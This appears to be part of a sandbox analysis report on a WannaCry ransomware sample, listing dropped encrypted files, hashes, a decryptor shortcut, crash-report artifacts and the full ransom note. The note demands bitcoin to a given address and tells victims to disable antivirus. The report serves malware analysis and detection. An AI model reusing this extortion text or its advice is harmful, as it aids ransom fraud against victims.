                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):297144
                                    Entropy (8bit):7.999294317990128
                                    Encrypted:true
                                    SSDEEP:6144:P9s2hGSuqqP5ykUvgGkUC2JOEbPaOdaHlWBbHUfupoXvN:P9VLujHUoGkULRtdaFY0fupI
                                    MD5:0BAE1D5AEBB57D06D8E0ACD116C028EB
                                    SHA1:89A34D550617ED4B2E8469A2AFB0748BA8B4D9ED
                                    SHA-256:DB6F0246050756BE6E4F3DE9A3D627E908309B33E9CBBD64924BEF85B4D1C8E5
                                    SHA-512:A19ED358E1B05AB9351FC95A6CBE156E9C2DD483166711CE1C0D8F680C5C82323435490B5679906F266B5E9873AD85EEC3E5FC3F7CB9E971F9B02AB3B6EC0F0A
                                    Malicious:true
                                    Preview:WANACRY!..........m.....@>..<........O....\....j.Q..;. ..2."a5.../.:.......... ...Z..9........OF..$.:.....z.IKd..3........5b.uG..Q..6OxKY....P.&..R..sDG....O.H9.w..+.I........2..$.j.(...sXi......N.......p.7.?.....Z....z&.D......|$..mJ.i...._Z.lc..................c(..e.i#.......z6>..c..k.5G..l...'....LxuG.....M.<.c......D...k|..#.......0.'f...qB.;.....*i.M#q=....C...YN...x.P..4.O..O5Y..i.]......N.T.-....2a..su.........8W..B.............r.J.....b..H.t.Mf.....#_.I.M"......a"zm.%...m.;...2e.....T..g1....v~..j6.x..e,....OvrF.%U...@...c...ice...p......P..^{t..F...$.....8,..'...Q..Q..J-..W....%$).z.o$CF.....EC..:..KMW...~...>....h.,....2.. .Na3F.Q....=RO........./K$..pE j...>|l.}........0-.)...p..o..v.tO<R.r..n`..u....Y.[............4L.%..>.oF-...K>..P......#.t...D..........F...".[g .k~{.....4......g..6....(.+D_..T.....R.n....[F....l..i......t+....T............<!...c....qk......O&x..P...".1q/............K...y..j.X..M.a......R=...

                                    C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000002.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1352
                                    Entropy (8bit):7.839700466458902
                                    Encrypted:false
                                    SSDEEP:24:bk0EfncfN9iM6FCkcAfLMmOOb63SDb7ovs0nhfIHNcjQJZWEOJ36H:bkX0vf6LcWlOoQWt8Q4oH
                                    MD5:93F83D807ADA612B986211E99E617F67
                                    SHA1:C3FB16524D80DA803E05130F65498886234E48DC
                                    SHA-256:45FC87B6D70299B717185A5433D3C796A67E65A8C6AB55886B21B3A65279A08E
                                    SHA-512:5F202EA1A7FE8BE1A7C84CAD9B937DF40126690FCA0C2A74BC5B83D82A88E14F568ECC3129DF36BADC2B3826A01A047DA5A0CC8D70911459B4116C6A3FE2B7F2
                                    Malicious:false
                                    Preview:WANACRY!......./T.#P.T.b.wI..]x"...Z..J.5...F!-!..1....._...z#.B$..c.7..C=.9. ...W}S.;I'.Qiy...........\...x. .C...q...w.". -N...|.3.T..m6.~..ZD...p..y.".<.b)a........?.~.a.W.5...-.I.Z0.}..R.F.....C.K..L..........WeZ1...1B-,..x.)m5.L.....#K.%...x...j....(.............G-;...fQ.yI.4G)...c..16X%.....:.._Z.._..y..M?.-O..U..=.E.S.!0lP..<O.8.z.....]...u~..y..p.Qz{_...xb..qU\.c..1..$.~4..c2."....}.5.+>.fo.......h4.-....I....eG....Tb5b...PG.....u....5.9.....IB..sf.....b....c9...Y...v.,.....W.^.|..........C..Q...G.P.......GU&X.Ls....S .Yn.x..4..o_..[..........2!.[..a,...w........2Q._I..W....Z.wZ..[p*9....1...r...|....F:e.U........v.c...QVT..a...........+..G..p........k......,O-E..{....c_...$c>.vt.h.2..v.....q2.}HV.V.i........k.h.?..d...5....X...T.....3.:.|.lK*.#...|.]P.2U0...3~......w.+......5..?.GC....a......8...!.G.tk....W..Y..s....X...J:}@x\...S.u8....UlE../[.)p.;.......T..."Ah/P......n=.p..2t..}C...`....V6w#.#..i7.c..5.....s..$.?8XI..a.r

                                    C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000003.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1352
                                    Entropy (8bit):7.826711356751966
                                    Encrypted:false
                                    SSDEEP:24:bkGmCrQwNVtco81pswlcooOijIAkG1Juhzq8jhla0Kx4poEmu0ln84s9SqFl:bkGmCtv2lPAkVhzHlla0NpVYZsZl
                                    MD5:6D82867F9C161DEE524841204971920C
                                    SHA1:440026F2F5258DF30A6CE06593F43C263D5A3E8A
                                    SHA-256:C98AD3308581E76DB581AD27AB1809F159F53F06FE27D41CA0AEF4B7B156D35B
                                    SHA-512:C201419C0779D6C7ADDA67157079E3E812A954B453665677EF6CDD59C4BEF38ECFFCF25C9A061DDC788FEB22762FF5D81C3CAB930BA14F4BD824ACC43D98D9FA
                                    Malicious:false
                                    Preview:WANACRY!.....'.Ml2&(..Q.NO.....l...Av...`....+h......l.F\a..A.[}9..oW....+....m..[K...>'&.h....(...P.}Q.".i...@.C........l`....J.V!q.j...EC...W...w8Z^.+..[...rc..\.T...5;....?...G......oDL...?.....b.....]..Fs.Z...*.....A.....~..u...........1....O?-'.....(.........J....,.y.......;-}DJ....~1...LO........$..J.Z-bK-+v.t...c....`F_..Sq....0.;.5V?.hI....W..e.........j.....+..d*7..(.R...+Mj..`..>#k...>.5@...60...6"UE....*..j.@X.1.zq.o..<.#...(.J.]*.Y.....Uy{..xY.(y~.rt..3.-.....+.-1.ns8..G:.M.G.-o.3F..-....k...X......b.@..}.1.x..p..D.../`;VL......../.9..+...k..b^......%...U...e.....D."...D._v..~I.^.Y.[c..m..`.A.=@75...wr...2.(...,/.a.x..O.82}3..b..)d....5OkAU.Np.....|...z...J.....C^.6gP......}P.....|H1..i:.M.~.Z5EV...m..II:.qiL...V.*..G..:...m..Z.R ..z.....{.M...-.K...0LU....o...'.QGh.W.....b.q....)g...G.C.}`.....w...3f.o0...CB.!:....u.;........$.6.^<.^lo.0 .U../.fA.I...k.*...Ar1(..u..".v.JJf!d.......7.)^g...I.P...Kl..~a}...p}s.@.6f7..:..."..i$.

                                    C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000002.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1528
                                    Entropy (8bit):7.87286842952925
                                    Encrypted:false
                                    SSDEEP:24:bk9RYboyak7Ih8zVD2Tw8cAo6CBIteFhqasL3b14WyR3n4cFzojjv:bkYl7M8zMs1AoHWteF1akn4Cojz
                                    MD5:3541A06F1C5F30D417B35EEC87F971B2
                                    SHA1:87CC0DC8368B4CB31813488DB58BA37A1915D1AD
                                    SHA-256:99B7727407167DA0F2A498381AEC3535E28D3E950F96592A0FE443033BC674E0
                                    SHA-512:E3903D2A1733EAD912F2C66DDDAFB147309B7F732A663803EF3A56A8F92F7F2C875BE963823DBA00288F206FD9A43A2381ADF3E057ACD8DC3C658D87B0E473FA
                                    Malicious:false
                                    Preview:WANACRY!.....E;..+"..|7.......r....'.e..e..&|F...V..... .......^Tj..J......9.c.@.mB.`.T..s..ujT.*h......^...x0ZZ9{.i..XV.y..r.r._.........E".J.q.........%...R....vB]-.........2.cS..p..lh..E.t9.j.=.U..Esw{....5..(............0.....`} ._...0......!..9.................&j...E.)..'.$..>.@#R.)v..43b&..c:L.....y...:yM.J#g......._r5....Nt......9_..a..Y..~ur..J..A@.N..B.m.&..537|...V.%.r."...pU2d...f0.......W.|..7./.:O..C...J..2.1..F.:4...2...0...}.G4..7..4.8.H>.c.T.ZSP7.=...!..................5.m.......-.=...:m..,#..;.... !........u.....0..#...}g,_<....2......]p=...I....$....F.2.|U.[..C..My.7....iY{....%......m44P.........f!.HB...5z...7..%.s...N...L....v..qN.....X..PV.d.p...],&.....t%..y[.....f.e.N.sD.3i.d.......c...l4.*!?......^=..~D.....p'..!......K...l..F....\-Q(.d....a=..<.........j.}...f.M.;'ZO..C-].C....(.!....h.+.E|.....<-..#-.g.Dr.P......V....'....|u......{WN.. ..&V.@L...J..~/4.(-;~40..O..0..m:C.f. |..!.4. sK8.^.,G./..-.I.........k...Q.

                                    C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000003.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1528
                                    Entropy (8bit):7.881366942225584
                                    Encrypted:false
                                    SSDEEP:24:bkLdDop/5+b0LYXqJkw+3fAe9ey+MjTe82Ec9fHqWO2nKVzM7dp:bkLs/5pk22Zfe8AqW6zIp
                                    MD5:9C4366DD3B4DBA471825C1CC19C377CD
                                    SHA1:16BA4B4FF3949059BA623E14672D74BF02BDA2C3
                                    SHA-256:D59EE3DB6C2552F08625407752A5376BD259D1A94B2F598E0B7AE6C1CFEFC6E4
                                    SHA-512:23DECAF19C9033881488CD2986550A1758E0535E77B7D54559E43F8C72480C1D38DF3C73B1D367EF6206CA7406072920AB363A07B1087A66B7AE22487913772E
                                    Malicious:false
                                    Preview:WANACRY!....[_....4.."...>.gL/.x!.5a...o^w.n......s[ I.B..^L.>O).C.5.LC..N.m....c..........L4...}k?w(.z...g;..tC.x.%...E=....~.....g.x.K.. ..R.E.....`..k.H..."..,...n@K`.&)...3.M..oLh..w.a..-.q.Uv.Q.!OjM.U...#..m&y.f..Giw...0.l:Bik.z9.a.,..(.....\u1..C]. tt.]............}w.....t.D..u...pxz.T..5.......jI...... ...I....`:.F..pug...-d...#.=.{.g6.S.y.;...o.,.G.....8...9.%o.j....2.....@PJ..p>v.k3D...<S....qf.Mh..K.)..U...)....07?..........}.....`&........v........?-.(.n....n.^.4...g.y.*dc....IzV7U.MP..{...).._FV....W.RD.........>.(.#.o..[...,..Oq..Ee.9.zy.EIn^E]........)%.S.D..DV..W..rB.1x1f..9.sAa....(.<."XX.&...yT.[A...L"..p.....u..`....1.v .0 ....o..vu'b#..v..E.`...[.w.....-......N.t\......z(..w5.A..*.{H!n....6w%...y.;A......<.t...'............B.j.E.....i..).......Y....0......^...h.Al...].J.`..1.+.;.\..WA.................E_....... ...6.+..A...T.......#.sc..'...."KG.n......F..*.QQ.&h...O.. 0...*......Ei.>..M.R^.PE..|k..y.C......V...q...R.<..

                                    C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):638136
                                    Entropy (8bit):7.999753824334227
                                    Encrypted:true
                                    SSDEEP:12288:AGCouQgcU/BhD4c8MkLh+fKJGa4c/Lppl+IyevVuGtaDrB8sDAhN9iB4amPVD91B:7HUhERV/JR1yeUGovB8ZNi/IVDInxXk1
                                    MD5:17A7E3B261EFD0AB51FC61ECF5C7CB6D
                                    SHA1:071CAE949325D68F4DE15FBEFB12E9027C76144C
                                    SHA-256:AB829F19145636E072E3DBCA8D023A257ABF6AEBB3455CB7D4EBC95CBA334E03
                                    SHA-512:AC8939E2F3EF853C71A9A12CF2DC866708777433ECE292F76133338568993F469F853FC56A0559D81E2A3813B14F25F2C1C559D7F01A5CFE2B64B18E4A6712FC
                                    Malicious:true
                                    Preview:WANACRY!.....f..Zo...'.,.w.zM\8.W.J....o?..m............{....<......6.O.gs....o.^.........q2.*.........)...{..#......-7.>..G...~.....G).A./......"C..1.....b>.v.FVl.5...~..>L........[r.....p..?....`...!....L\...m.4.J.....{.g...jm.....(.T.9O.....bA2......\..................5....SEG]..b....jg.\.....A...7..->....I.1. a..n....).i...(\.,/-.........".h[.M8....]s..X0...uB.:...2....ld......rn...._$.+f...0IG....z......z...'...du.wC.....&..t&......Xh.Q..yl..=.Y|wo.;....)..&...kF..xW>..=...g(......a.U<...+!#............~.HU1Q....k.y.z.4a<....j.....*...|5..t..+...{.B.....".Y"...b...B.?e....o......QIp.Yj4...../.'Cd8..v.0Z......Z....[.......R.v.V..:."....0lc..."..%#d..=p(....~Y....@.J..2..r.A..p.~F.k.Z.P.E#4....1....3O.}vwU..............E.M...c1.-y@.UQ."mV.l...L.....Y6]"B...f..{`[.Q..G_!.z...+.....a..#.z...T.k3..a.@<... .... ...a1K.X9Y.......7.......JP4K..Z............j[C...s..n..\..o....J..pP..}.j.*..:....(y......?.]....m.._...R..9...|S....E....IK..

                                    C:\ProgramData\Microsoft\Windows\ClipSVC\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\Windows\ClipSVC\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

                                    Download File
                                    Process:C:\Windows\System32\svchost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):697182
                                    Entropy (8bit):5.23536702100778
                                    Encrypted:false
                                    SSDEEP:12288:zBXiKZWAAllNJheaP7Qata8JtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDp610:D+
                                    MD5:28A6C40E659C4D6059BBA571FA7253C6
                                    SHA1:5C52856AA14C9989CD1EDC4D577F51D88172EA3C
                                    SHA-256:C4CD7365FC3EF086C1BEEFB4200DDE7E0D7C7F5994429FEE4F1277D170576276
                                    SHA-512:DAA99BA9DB4EE243968EC5160607A9E357EF6D173F0EFC511E4221A4DDB2154648320FBCED50AD43C02EB7CDAC940078CE79C72D2788ABBF7B2784E6502E8807
                                    Malicious:false
                                    Preview:.....z.G....q..>p%.S,.y.lTz.Z.`$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

                                    C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

                                    Download File
                                    Process:C:\Windows\System32\svchost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):697182
                                    Entropy (8bit):5.23536702100778
                                    Encrypted:false
                                    SSDEEP:12288:zBXiKZWAAllNJheaP7Qata8JtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDp610:D+
                                    MD5:28A6C40E659C4D6059BBA571FA7253C6
                                    SHA1:5C52856AA14C9989CD1EDC4D577F51D88172EA3C
                                    SHA-256:C4CD7365FC3EF086C1BEEFB4200DDE7E0D7C7F5994429FEE4F1277D170576276
                                    SHA-512:DAA99BA9DB4EE243968EC5160607A9E357EF6D173F0EFC511E4221A4DDB2154648320FBCED50AD43C02EB7CDAC940078CE79C72D2788ABBF7B2784E6502E8807
                                    Malicious:false
                                    Preview:.....z.G....q..>p%.S,.y.lTz.Z.`$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_wBQInv.exe_70b1e9d7bb9d44f130af31ff64febfe59d741d63_233e5e29_e6ba6d82-9972-4e84-ad3d-3bdff9b741e0\Report.wer

                                    Download File
                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):65536
                                    Entropy (8bit):0.9897103359255355
                                    Encrypted:false
                                    SSDEEP:192:QZQvoGbr0S0l8eyKvjEflpzuiF8Z24IO8yp:pQSr0Zl8ePjgzuiF8Y4IO86
                                    MD5:C871FF7FD594A7141767F6084C167E65
                                    SHA1:573F6ABD8475CA1F3DA7CFD8313AD7FE31F11A45
                                    SHA-256:4321F17D148F4E02F1804F3470DDF82792FB3260F2BD0710B6C4F55A5DAB5405
                                    SHA-512:2179B3BEF35919D8B36A5EAA05AD06C99BC5F6597C811B8C2190F8EC327FDBD16433F026408A64D113DB94BFC7214992AB110AB1EE13195E014B5B7462948026
                                    Malicious:false
                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.2.5.0.3.9.4.9.3.4.5.0.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.2.5.0.4.1.3.2.1.6.0.1.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.6.b.a.6.d.8.2.-.9.9.7.2.-.4.e.8.4.-.a.d.3.d.-.3.b.d.f.f.9.b.7.4.1.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.d.1.f.4.9.4.d.-.b.5.9.4.-.4.a.1.3.-.b.2.9.c.-.d.a.0.8.8.3.a.c.5.d.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.w.B.Q.I.n.v...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.7.0.-.0.0.0.1.-.0.0.1.4.-.b.7.7.e.-.7.1.6.c.e.d.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.0.0.b.6.a.6.d.3.2.4.5.a.a.5.c.5.9.2.5.0.d.2.9.5.7.b.7.9.a.7.3.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.w.B.Q.I.n.v...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERBAC3.tmp.dmp

                                    Download File
                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                    File Type:Mini DuMP crash report, 15 streams, Thu Jul 25 23:50:39 2024, 0x1205a4 type
                                    Category:dropped
                                    Size (bytes):163828
                                    Entropy (8bit):1.8245728253250515
                                    Encrypted:false
                                    SSDEEP:384:8xg7/YT+SfCxVadM9NseR4d8Ucjfd9tLxtX2TSYpXR:b7/6QxV0M9NTKd/QfdfltoL
                                    MD5:6ABEA2ECB255E38EB814A736B6E27986
                                    SHA1:06B0E31089A223A9F962198EB5A0E2536A2B8427
                                    SHA-256:97ED77C785D05381297BF3FECD570B6EFC8695576C4E36FBDBA3A1CC6B81B5C7
                                    SHA-512:B98CA0193239253EF2F25DC18C812323752CC084B96F3322DA965ACFAF8A99F9BF63368AB25D8E10FB40F1129BCE07EDCC6F5462F96A17E5D5E726D01C05AA42
                                    Malicious:false
                                    Preview:MDMP..a..... .........f............t.......................l...,!......t...PR..........`.......8...........T............>...A...........!...........#..............................................................................eJ.......$......GenuineIntel............T.......p.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC5A.tmp.WERInternalMetadata.xml

                                    Download File
                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):8384
                                    Entropy (8bit):3.70308966883831
                                    Encrypted:false
                                    SSDEEP:192:R6l7wVeJr26fWe6YSM6LZgmfGdpD789bINsfmHYm:R6lXJa636Yh6LZgmfGEIGfQ
                                    MD5:DD6BA262C254A49607831F61D9707509
                                    SHA1:9EC9807EF51ABD55B01521EEAA5E1ACE29DDE16F
                                    SHA-256:1DCF91A5F1E7E556EC3143C423B1488D2AD08B8ECA43390A3ADB288014506097
                                    SHA-512:61C41D6A477A3A9FA03CC2385942FA9A5F6790BF21EE9AA0DF58A5A92EAF7E9B596449CFB377EE672720F173D868968AC3AA03F73997FA5A302BCC5E0FF60754
                                    Malicious:false
                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.6.8.<./.P.i.

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE7E.tmp.xml

                                    Download File
                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):4551
                                    Entropy (8bit):4.44608155515202
                                    Encrypted:false
                                    SSDEEP:48:cvIwWl8zsruJg77aI93sWpW8VYoYm8M4JEjBeZF2+q8aICXVPgoed:uIjfrkI79F7VYJE1zhgoed
                                    MD5:5C8263B117A877BF1E1003A0ED877581
                                    SHA1:65B5AC74E08C73F37E7434592F57049109698473
                                    SHA-256:CF28A938F196A063437D086A2E27DFF1FD07134547BE9CA98E0AAA254EE2454F
                                    SHA-512:935E6EF6E03249CDBAC0EE11568C20C725759BDAACE95F0BDE52D0340A124D89D5D37FC708A4D667AD52FFB0A3832DA49BBA7E22E811DDFCE3741AFAFA41D7E1
                                    Malicious:false
                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427133" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

